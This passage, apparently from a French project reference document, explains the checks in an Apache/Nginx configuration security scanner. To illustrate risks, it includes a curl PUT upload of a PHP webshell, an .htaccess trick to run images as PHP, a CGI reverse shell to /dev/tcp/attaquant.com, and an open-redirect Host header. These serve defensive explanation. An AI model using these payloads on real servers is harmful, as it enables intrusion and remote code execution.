```
# Sans LimitExcept, attaque PUT directe :
curl -X PUT http://cible.com/shell.php \
    -d "<?php system($_GET['cmd']); ?>"
# Si Apache sert /var/www/html avec droits en ecriture => webshell uploadé

# Configuration correcte :
<LimitExcept GET POST HEAD>
    Require all denied # bloque DELETE, PUT, TRACE, OPTIONS, CONNECT
</LimitExcept>
```

5.17 _check_allow_override() — ligne 1033 [#19 CIS 3.5]

Severite : MEDIUM — AllowOverride permet a .htaccess de contourner la securite.

```
for line_num, directive, value in parsed:
    if directive != "allowoverride": continue
    if value.lower() in ("all","options","fileinfo","authconfig","indexes"):
        findings.append(...)
# "None" => pas de finding OK
```

Attaque via .htaccess

```
# Attaquant uploadé .htaccess dans /uploads/ :
AddType application/x-httpd-php .jpg .png
php_flag engine on

# Puis uploadé webshell.jpg :
<?php if(isset($_GET["cmd"])) system($_GET["cmd"]); ?>

# Avec AllowOverride FileInfo :
# Apache relit .htaccess a chaque requete dans ce repertoire
# http://cible.com/uploads/webshell.jpg?cmd=id => RCE complet
```

5.18 _check_keep_alive() — ligne 1072 [#20 CIS 5.x]

Severite : LOW — KeepAliveTimeout > 15s facilite Slowloris.

```
if result is None: # LOW - default 5s acceptable, declaration conseillée
elif val > 15:    # LOW - trop élevée
```

Difference avec Timeout (#10) : KeepAliveTimeout est l'attente entre deux requetes consecutives sur la meme connexion TCP. Timeout est l'attente pour la completion d'une seule requete.

5.19 _check_logging() — ligne 1125 [#21 CIS 6.x]

Trois controles : ErrorLog + LogLevel + CustomLog

```
error_log = _get_directive_value(parsed, "errorlog")
if error_log is None:
    # MEDIUM - pas de journal d'erreurs

log_level = _get_directive_value(parsed, "loglevel")
if log_level is None:
    # LOW - default warn acceptable
elif value.lower() in ["debug","trace1",...,"info"]:
    # trop verbose => MEDIUM (peut journaliser cookies et mots de passe dans URLs)

custom_log = _get_directive_value(parsed, "customlog")
if custom_log is None:
    # MEDIUM - aucun log des requetes
```

Cas	Severite	Impact
-----	----------	--------

ErrorLog absent	MEDIUM	Impossible de detecter les attaques
LogLevel debug	MEDIUM	Peut journaliser des mots de passe dans les URLs
LogLevel warn OK	—	Reglage production correct
CustomLog absent	MEDIUM	Impossible d'enqueter apres incident

5.20 _check_mod_security() — ligne 1213 [#22 CIS L2]

Severite : HIGH — mod_security (WAF) non active.

```
has_modsec = (
    re.search(r"loadmodule\s+security2_module", raw_content, re.IGNORECASE)
    or re.search(r"mod_security2?\.so", raw_content, re.IGNORECASE)
    or re.search(r"modsecurityenabled\s+on", raw_content, re.IGNORECASE)
)
if not has_modsec:
    findings.append(ConfigFinding(check="missing_mod_security",
    severity=Severity.HIGH, ...))
```

Trois patterns car mod_security peut etre active dans un fichier include separe et reference uniquement par ModSecurityEnabled On.

Sans mod_security + OWASP CRS : tout le OWASP Top 10 arrive directement a l'application — SQLi, XSS, RFI, LFI, Command Injection.

5.21 _check_file_etag() — ligne 1266 [#23 CIS 5.2]

Severite : LOW — FileETag par default inclut le numero INode.

```
if result is None:
    # default "INode MTime Size" => inclut INode => LOW
elif "inode" in value.lower() or value.lower() == "all":
    # INode explicitement inclus => LOW
```

```
# INode dans ETag :
ETag: "2e4a-5f3b6d8c12345-56789"
#      taille hex      INode fichier      heure modif
# L'attaquant convertit INode en nombre reel => info sur structure FS
# Correction :
FileETag MTime Size      # heure modif + taille, sans INode
```

5.22 _check_exec_cgi() — ligne 1316 [#24 CIS 3.x]

Severite : HIGH — Options ExecCGI permet l'execution de scripts dans le repertoire.

```
for line_num, directive, value in parsed:
    if directive != "options": continue
    options = [o.strip().lstrip("+").lower() for o in value.split()]
    if "execcgi" in options:
        findings.append(ConfigFinding(check="options_exec_cgi",
        severity=Severity.HIGH, ...))
```

Scenario RCE complet

```
# httpd.conf :
<Directory "/var/www/html/uploads">
    Options +ExecCGI
    AddHandler cgi-script .cgi .pl .sh
</Directory>

# Attaquant upload shell.cgi :
#!/bin/bash
echo "Content-type: text/html"
echo ""
/bin/bash -i >& /dev/tcp/attaquant.com/4444 0>&1

# GET /uploads/shell.cgi HTTP/1.1
# Apache execute le programme avec les droits www-data
# L'attaquant obtient un Reverse Shell complet
```

Chapitre 6 - Controles de performance fonctionnelle (#25 a #34)

Ces controles n'appartiennent pas au CIS de securite — leurs sources : Apache HTTP Server Performance Tuning (documentation officielle), Google SRE Workbook, et ISO/IEC 25010. Ils evaluent la maturite du fichier pour un deploiement en production reel.

6.1 `_check_mpm_mode()` — ligne 1359 [#25]

Severite : MEDIUM/LOW/INFO — detecte le type MPM active.

Type	Modele	Threads	Usage	Remarque
prefork	Un processus par requete	Sans threads	mod_php legacy	Plus lent sous KeepAlive charge
worker	Processus + threads	Oui	PHP-FPM equilibre	Meilleur que prefork
event OK	I/O async + threads	Oui	Production moderne	Optimal pour KeepAlive intensif

Logique du code — recherche dans `raw_content`

```
# raw_content utilise (pas parsed) car LoadModule peut etre dans un include
has_event = re.search(r"loadmodule\s+mpm_event_module", raw_content, re.IGNORECASE)
has_worker = re.search(r"loadmodule\s+mpm_worker_module", raw_content, re.IGNORECASE)
has_prefork = re.search(r"loadmodule\s+mpm_prefork_module", raw_content, re.IGNORECASE)

if has_prefork:          # MEDIUM - prefork en production moderne
elif not has_event and not has_worker: # LOW - MPM non declare
elif has_worker:        # INFO - bien mais event est meilleur
# has_event : pas de finding OK
```

6.2 `_check_max_request_workers()` — ligne 1412 [#26]

Severite : HIGH (absent ou > 4000) / MEDIUM (< 128).

```
result = _get_directive_value(parsed, "maxrequestworkers")
if result is None:
    findings.append(ConfigFinding(check="missing_max_request_workers",
    severity=Severity.HIGH, ...))
    return findings # arret anticipé

val = int(re.findall(r"\d+", value)[0])
if val < 128: # trop bas => 503 sous pression => MEDIUM
elif val > 4000: # trop haut => Swap => ralentissement severe => HIGH
```

Calcul correct selon la doc Apache officielle

```
# Formule Apache officielle :
MaxRequestWorkers = (RAM disponible x 0.8) / taille processus Apache

# Mesure de la taille réelle :
```

```
ps aux | grep httpd | awk "{print $6}" | sort -n | tail -1
# Exemple : 51200 Ko = 50 Mo par processus

# Exemple : serveur 8 Go RAM
MaxRequestWorkers = (8192 x 0.8) / 50 = 131 processus max simultanés
```

6.3 `_check_max_connections_per_child()` — ligne 1472 [#27]

Severite : MEDIUM — valeur 0 ou absence laisse les processus tourner indefiniment.

```
if result is None or val == 0:
    # MEDIUM - fuites memoire s'accumulent sans recyclage
```

Probleme des fuites memoire sur processus long-lived

```
# Avec MaxConnectionsPerChild 10000 :
# Un processus traite 10 000 requetes puis est recree (recycle)
# Sa memoire est liberee completement => sain

# Avec MaxConnectionsPerChild 0 :
# Processus tourne pendant des jours/semaines : 50Mo => 200Mo => 500Mo
# Apres une semaine : swap => crashes repetitifs en production
# Meme principe que Gunicorn : max_requests = 10000, max_requests_jitter = 500
```

6.4 `_check_keep_alive_requests()` — ligne 1513 [#28]

Severite : LOW/INFO — KeepAlive et MaxKeepAliveRequests.

```
keepalive      = _get_directive_value(parsed, "keepalive")
max_keepalive  = _get_directive_value(parsed, "maxkeepaliverequests")
if keepalive is None:      # LOW - declaration explicite conseilee
elif keepalive == "off":  # INFO - pas une erreur, impact performance
if max_keepalive is None: # LOW - limite les connexions persistantes sans fin
```

6.5 `_check_compression_and_cache()` — ligne 1557 [#29]

Severite : LOW — `mod_deflate` (compression) et `mod_expires` (cache) non actives.

```
has_deflate = re.search(r"<IfModule\s+mod_deflate\.c>", raw_content, re.IGNORECASE)
has_expires = re.search(r"<IfModule\s+mod_expires\.c>", raw_content, re.IGNORECASE)
```

```
# Configuration recommandee :
<IfModule mod_deflate.c>
    AddOutputFilterByType DEFLATE text/html text/plain text/css
                                application/javascript application/json
</IfModule>
<IfModule mod_expires.c>
    ExpiresActive On
    ExpiresByType text/css          "access plus 1 month"
    ExpiresByType application/javascript "access plus 1 month"
</IfModule>
```

6.6 `_check_functional_log_format()` — ligne 1606 [#30]

Severite : LOW — LogFormat sans %D ne permet pas de mesurer le temps de traitement (SLI).

```
log_formats = _get_all_directive_values(parsed, "logformat")
has_latency = any("%d" in val.lower() for _, val in log_formats)
if not has_latency:
    # LOW - impossible de construire un SLI sur le temps de reponse
```

Pourquoi %D est essentiel en production

```
# Sans %D :
192.168.1.1 "GET /api/recherche HTTP/1.1" 200 2048
# Impossible de savoir si la requete a pris 5ms ou 30 secondes

# Avec %D :
192.168.1.1 "GET /api/recherche HTTP/1.1" 200 2048 28750000
# 28 750 000 microsecondes = 28,75 secondes => probleme de performance evident

# Format recommande (Google SRE) :
LogFormat "%h %u %t \"%r\" %>s %b %D" functional
```

6.7 _check_sendfile_mmap() — ligne 1643 [#31]

Severite : LOW/INFO — EnableSendfile et EnableMMAP non declares.

```
if sendfile is None: # LOW - comportement variable selon l'environnement (NFS)
if mmap is None:     # INFO - priorite la plus basse
```

EnableSendfile On transfère les fichiers directement du noyau sans copie en espace utilisateur — plus rapide pour les fichiers statiques. Mais sur NFS, cela cause des problèmes — il faut le desactiver explicitement dans ces environnements.

6.8 _check_mod_rewrite_security() — ligne 1680 [#32 — nouveau v4.1]

Severite : HIGH — RewriteRule utilise HTTP_HOST sans validation du domaine.

Expression reguliere utilisee

```
pattern = re.compile(
    r"RewriteRule\s+.\s+https?:/(?:\${?HTTP_HOST\}?|%\{HTTP_HOST\})",
    re.IGNORECASE,
)
for i, line in enumerate(raw_content.splitlines(), start=1):
    stripped = line.strip()
    if not stripped or stripped.startswith("#"): continue
    if pattern.search(stripped):
        findings.append(ConfigFinding(
            check="rewrite_open_redirect", severity=Severity.HIGH,
            evidence=f"Line {i}: {stripped}",
            line_number=i, ...
        ))
```

Scenario Open Redirect complet

```
# httpd.conf vulnerable :
RewriteEngine On
```

```

RewriteRule ^/(.*)$ https://%{HTTP_HOST}/$1 [R=301,L]

# Requete malveillante :
GET / HTTP/1.1
Host: hameconnage.evil.com

# Reponse Apache (301) :
Location: https://hameconnage.evil.com/

# L'attaquant envoie a la victime un lien depuis le vrai site :
https://mabanque.fr/ => semble legitime dans un e-mail
# Apres le clic : redirection vers hameconnage.evil.com

# Correction :
RewriteCond %{HTTP_HOST} ^(www\.)?monsite\.fr$ [NC]
RewriteRule ^/(.*)$ https://monsite.fr/$1 [R=301,L]

```

6.9 _check_tls_session_cache() — ligne 1718 [#33 — nouveau v4.1]

Severite : LOW/INFO — SSLSessionCache + SSLSessionCacheTimeout + SSLSessionTickets.

```

cache = _get_directive_value(parsed, "sslsessioncache")
timeout = _get_directive_value(parsed, "sslsessioncachetimeout")
tickets = _get_directive_value(parsed, "sslsessiontickets")
if cache is None: # LOW - handshake TLS complet pour chaque connexion HTTPS
if timeout is None: # LOW - timeout non previsible
if tickets is None: # INFO - PFS non protege strictement

```

Configuration	Impact performance	Risque securite	Severite
SSLSessionCache absent	Chaque HTTPS necessite un handshake TLS complet	100-300ms supplementaires	LOW
SSLSessionCacheTimeout absent	Timeout depend de l'OS	Comportement imprevisible	LOW
SSLSessionTickets actif (default)	Cles de tickets statiques potentiellement volees	Dechiffrement sessions passees	INFO

```

# Configuration recommandee :
SSLSessionCache      shmcb:/run/httpd/ssl_scache(512000)
SSLSessionCacheTimeout 300 # 5 minutes - equilibre perf/securite
SSLSessionTickets    Off # Perfect Forward Secrecy strict

```

6.10 _check_mpm_params() — ligne 1760 [#34 — nouveau v4.1]

Severite : MEDIUM — MaxRequestWorkers doit etre egal a ServerLimit x ThreadsPerChild.

```

mrw = _get_directive_value(parsed, "maxrequestworkers")
sl = _get_directive_value(parsed, "serverlimit")
tpc = _get_directive_value(parsed, "threadsperchild")
if not (mrw and sl and tpc): return findings # rien a verifier

```

```

mrw_val = int(re.findall(r"\d+", mrw[1])[0])
sl_val = int(re.findall(r"\d+", sl[1])[0])
tpc_val = int(re.findall(r"\d+", tpc[1])[0])
expected = sl_val * tpc_val
if expected != mrw_val:
    findings.append(ConfigFinding(check="mpm_params_inconsistent",
    severity=Severity.MEDIUM, ...
    ))

```

L'incohérence silencieuse dans Apache

```

# Configuration incohérente :
ServerLimit      16    # max 16 processus
ThreadsPerChild  50    # 50 threads par processus
MaxRequestWorkers 300  # => l'admin croit limiter à 300

# Apache calcule : 16 x 50 = 800
# => ignore 300 et fait tourner 800 threads en réalité
# L'administrateur croit avoir 300 workers, mais le serveur en utilise 800
# => consommation RAM double de ce qui est prévu

# Correction :
ServerLimit      10
ThreadsPerChild  50
MaxRequestWorkers 500  = 10 x 50 OK

```

Chapitre 7 - generate_fixed_config()

Fonction de generation de la configuration corrigee (lignes 1843-1933). Appelee depuis app.py ligne 585 lors du telechargement du fichier corrige.

7.1 Comment elle est appelee depuis app.py

```
@app.route("/download-fixed/<token>")
@login_required
def download_fixed(token: str):
    data = get_report(token)
    original = data.get("original_config_content")
    vulns = data.get("result_json", {}).get("vulnerabilities", [])
    fixed_content, change_log = generate_fixed_config(original, vulns)
```

7.2 Logique interne — trois phases

Phase 1 — Classification des corrections

```
lines = original_content.splitlines()
line_fixes = {} # numero de ligne => correction (pour lignes existantes)
append_fixes = [] # directives absentes (a ajouter a la fin)

for v in vulnerabilities:
    fixed = (v.get("fixed_directive") or "").strip()
    if not fixed: continue # pas de correction definie => ignorer

    ln = v.get("line_number", 0)
    if ln and 1 <= ln <= len(lines):
        if ln not in line_fixes: # premiere correction pour cette ligne
            line_fixes[ln] = (lines[ln-1].strip(), fixed, check, title)
        else:
            append_fixes.append((check, title, fixed))
```

Phase 2 — Construction du nouveau fichier

```
new_lines = []
for i, line in enumerate(lines, start=1):
    if i in line_fixes:
        old, new, check, title = line_fixes[i]
        indent = len(line) - len(line.lstrip()) # conserver indentation
        new_lines.append(" " * indent + new) # ligne corrigee
        new_lines.append(f"# CyBrain fix [{check}]: etait => {old}")
        changes.append({"line": i, "avant": old, "apres": new, ...})
    else:
        new_lines.append(line) # ligne originale inchangee
```

Phase 3 — Ajout des directives manquantes

```
if append_fixes:
    new_lines += ["",
        "# =====",
        "# CyBrain Security Fix - Directives manquantes",
```

```

        "# =====",
    ]
    for check, title, fixed in append_fixes:
        new_lines.append(f"# Fix [{check}]: {title}")
        new_lines.append(fixed)
    return "\n".join(new_lines), changes

```

Exemple concret

```

# Fichier original :
Ligne 1 : ServerTokens Full      => correction (line_fixes[1])
Ligne 2 : ServerSignature On     => correction (line_fixes[2])
Ligne 3 : TraceEnable on        => correction (line_fixes[3])
# (sans HSTS, sans LimitRequestBody) => append_fixes

# Fichier genere :
ServerTokens Prod
# CyBrain fix [insecure_server_tokens]: etait => ServerTokens Full
ServerSignature Off
# CyBrain fix [insecure_server_signature]: etait => ServerSignature On
TraceEnable Off
# CyBrain fix [trace_method_enabled]: etait => TraceEnable on
# =====
# CyBrain Security Fix - Directives manquantes
# Fix [missing_header_hsts]: En-tete HSTS manquant
Header always set Strict-Transport-Security "max-age=63072000; includeSubDomains"
# Fix [missing_limit_request_body]: LimitRequestBody absent
LimitRequestBody 102400

```

Chapitre 8 - Support Nginx (11 controles)

8.1 `_detect_config_type()` — ligne 1935

```
nginx_patterns = [
    r"\bhttp\s*\{",          # http { } - specifique Nginx
    r"\bserver\s*\{",       # server { }
    r"\blocation\s+/",      # location / { }
    r"\bworker_processes\b", # directive propre a Nginx
    r"\bkeepalive_timeout\b", # different d'Apache
]
score = sum(1 for p in nginx_patterns if re.search(p, content))
return "nginx" if score >= 2 else "apache"
```

Seuil de 2/5 pour reduire les faux positifs — un fichier Apache peut contenir "keepalive_timeout" dans un commentaire, mais pas "http { }" en meme temps.

8.2 Les 11 controles dans `_scan_nginx_config()`

Basee sur des expressions regulieres dans `raw_content` — la syntaxe Nginx (cle: valeur;) est differente d'Apache.

N°	Controle	Severite	Vulnerabilite
N1	server_tokens off	MEDIUM	Fuite de version Nginx dans Server header
N2	autoindex off	HIGH	Directory Listing
N3	ssl_protocols TLSv1.2 TLSv1.3	HIGH	Protocoles TLS anciens
N4	ssl_ciphers (sans RC4/DES)	HIGH	Algorithmes faibles
N5	add_header X-Frame-Options	MEDIUM	Clickjacking
N5	add_header HSTS	HIGH	SSL Stripping
N5	add_header CSP	HIGH	XSS
N5	add_header X-Content-Type	MEDIUM	MIME Sniffing
N6	client_max_body_size	LOW	Requetes volumineuses sans limite
N7	keepalive_timeout <= 15	LOW	Slowloris DoS
N8	gzip on	LOW	Compression non activee
N9	sendfile on/off	INFO	Declaration sendfile absente
N10	log_format \$request_time	LOW	Mesure SLI du temps de reponse
N11	ssl_stapling on	LOW	OCSP stapling
N11	ssl_stapling_verify on	LOW	Verification OCSP stapling
N11	ssl_session_tickets off	INFO	PFS via session tickets

Chapitre 9 - Tableau de reference complet des 34 controles

N°	Fonction	Ligne	Reference	Severite	Vulnerabilite
#1	_check_server_tokens	L.216	CIS 2.2	MEDIUM	ServerTokens Full/OS => fuite de version
#2	_check_server_signature	L.261	CIS 2.3	LOW	ServerSignature On => signature dans pages erreur
#3	_check_directory_listing	L.293	CIS 3.6	HIGH	Options Indexes => liste fichiers repertoire
#4	_check_follow_symlinks	L.332	CIS 3.7	MEDIUM	FollowSymLinks sans controle proprietaire
#5	_check_ssl_settings (proto)	L.367	CIS 7.x	HIGH	SSLv2/3 + TLS 1.0/1.1 => POODLE/BEAST/DROWN
#6	_check_ssl_settings (cipher)	L.397	CIS 7.x	HIGH	RC4/DEN/NULL/EXPORT => chiffres faibles
#7	_check_ssl_settings (honor)	L.418	CIS 7.x	MEDIUM	SSLHonorCipherOrder Off => client impose
#8	_check_dangerous_modules	L.444	CIS 4.x	HIGH	mod_status/info/userdir/autoindex/cgi
#9	_check_trace_method	L.487	CIS 5.3	MEDIUM	TraceEnable On => XST (vol cookies)
#10	_check_timeout_settings	L.519	CIS 5.x	LOW	Timeout > 60s => Slowloris DoS
#11	_check_access_control	L.548	CIS 3.x	CRITICAL	Require all granted racine => tous fichiers
#12	_check_expose_php	L.586	CIS 5.x	LOW	expose_php On => X-Powered-By: PHP/x.y.z
#13	_check_limit_request_line	L.619	CIS 5.4 L2	LOW+	LimitRequestLine absent/zero/trop grand
#14	_check_limit_request_fields	L.686	CIS 5.5 L2	LOW+	LimitRequestFields absent/zero/trop grand
#15	_check_limit_request_field_size	L.751	CIS 5.6 L2	LOW+	LimitRequestFieldSize absent/trop grand
#16	_check_limit_request_body	L.802	CIS 5.7 L2	MED	LimitRequestBody = 0 ou absent => DoS
#17	_check_security_headers	L.869	OWASP	HIGH	X-Frame/HSTS/CSP/X-Content-Type/XSS/Referrer
#18	_check_http_methods	L.990	OWASP	MEDIUM	LimitExcept absent => PUT/DELETE/TRACE ouvert
#19	_check_allow_override	L.1033	CIS 3.5	MEDIUM	AllowOverride All => .htaccess contourne tout
#20	_check_keep_alive	L.1072	CIS 5.x	LOW	KeepAliveTimeout > 15s => Slowloris
#21	_check_logging	L.1125	CIS 6.x	MEDIUM	ErrorLog/CustomLog absent => pas de traces
#22	_check_mod_security	L.1213	CIS L2	HIGH	WAF desactive => OWASP Top 10 expose
#23	_check_file_etag	L.1266	CIS 5.2	LOW	FileETag avec INode => fuite structure FS
#24	_check_exec_cgi	L.1316	CIS 3.x	HIGH	Options ExecCGI => RCE via .cgi upload
#25	_check_mpm_mode	L.1359	Apache Perf	MEDIUM	prefork en production moderne => lent/lourd
#26	_check_max_request_workers	L.1412	Apache Perf	HIGH	Absent/< 128 => 503 > 4000 => Swap
#27	_check_max_connections_per_child	L.1472	Apache Perf	MEDIUM	= 0 => fuites memoire accumulees
#28	_check_keep_alive_requests	L.1513	Apache Perf	LOW	MaxKeepAliveRequests absent
#29	_check_compression_and_cache	L.1557	Perf/UX	LOW	mod_deflate/mod_expires desactives
#30	_check_functional_log_format	L.1606	SRE/SLI	LOW	LogFormat sans %D => pas de SLI temps reponse
#31	_check_sendfile_mmap	L.1643	Apache Perf	LOW	EnableSendfile/MMAP non declares
#32	_check_mod_rewrite_security	L.1680	OWASP	HIGH	RewriteRule HTTP_HOST => Open Redirect
#33	_check_tls_session_cache	L.1718	RFC 5246	LOW	SSLSessionCache/Timeout/Tickets
#34	_check_mpm_params	L.1760	Apache Perf	MEDIUM	MaxRequestWorkers != SL x TPC => erreur silencieuse

Ce document couvre 100 % du code de `server_int.py` — chaque fonction, chaque condition, chaque logique. Document de reference a utiliser lors de la soutenance ou du developpement futur.